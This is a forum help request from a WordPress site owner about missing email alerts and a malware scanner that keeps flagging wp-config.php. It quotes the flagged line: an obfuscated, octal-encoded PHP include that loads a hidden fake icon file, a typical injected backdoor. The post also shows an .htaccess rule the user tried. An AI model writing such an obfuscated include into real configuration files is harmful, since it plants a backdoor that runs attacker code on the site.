I’m not getting email notifications

I receive notifications for all other sites, but on one particular site I don’t get notified when alerts come up each time. My settings are as follows and I’ve tripled checked to make sure the email is correct. I have no spam in that inbox.

https://gyazo.com/9f6ebf3eaaa2a3b9ae4cf4c2425bbce6

https://gyazo.com/0f21f3109cce769d2a9beef6000ecdf7

Also, every 4 days after cleaning I get the same errors. I need to prevent this once and for all. They all say something like this:

Filename: wp-config.php
File Type: WordPress Configuration File
Details: This file appears to be installed or modified by a hacker to perform malicious activity. If you know about this file you can choose to ignore it to exclude it from future scans. The text we found in this file that matches a known malicious file is: @include “\057/\150o\155e\057c\154e\141r\142e\154i\145f\1637\057p\165b\154i\143_\150t\155l\057w\160-\141d\155i\156/\143s\163/\143o\154o\162s\057.\061b\064c\0630\1429\056i\143o”;

The infection type is: Suspicious:PHP/obfuicoinclude
Description: Suspicious code often added by attackers

I’ve specifically added this to my htaccess file and still no luck 🙁

<files wp-config.php>
order allow,deny
deny from all
</files>

This is your main configuration file and cannot be deleted. It must be cleaned manually.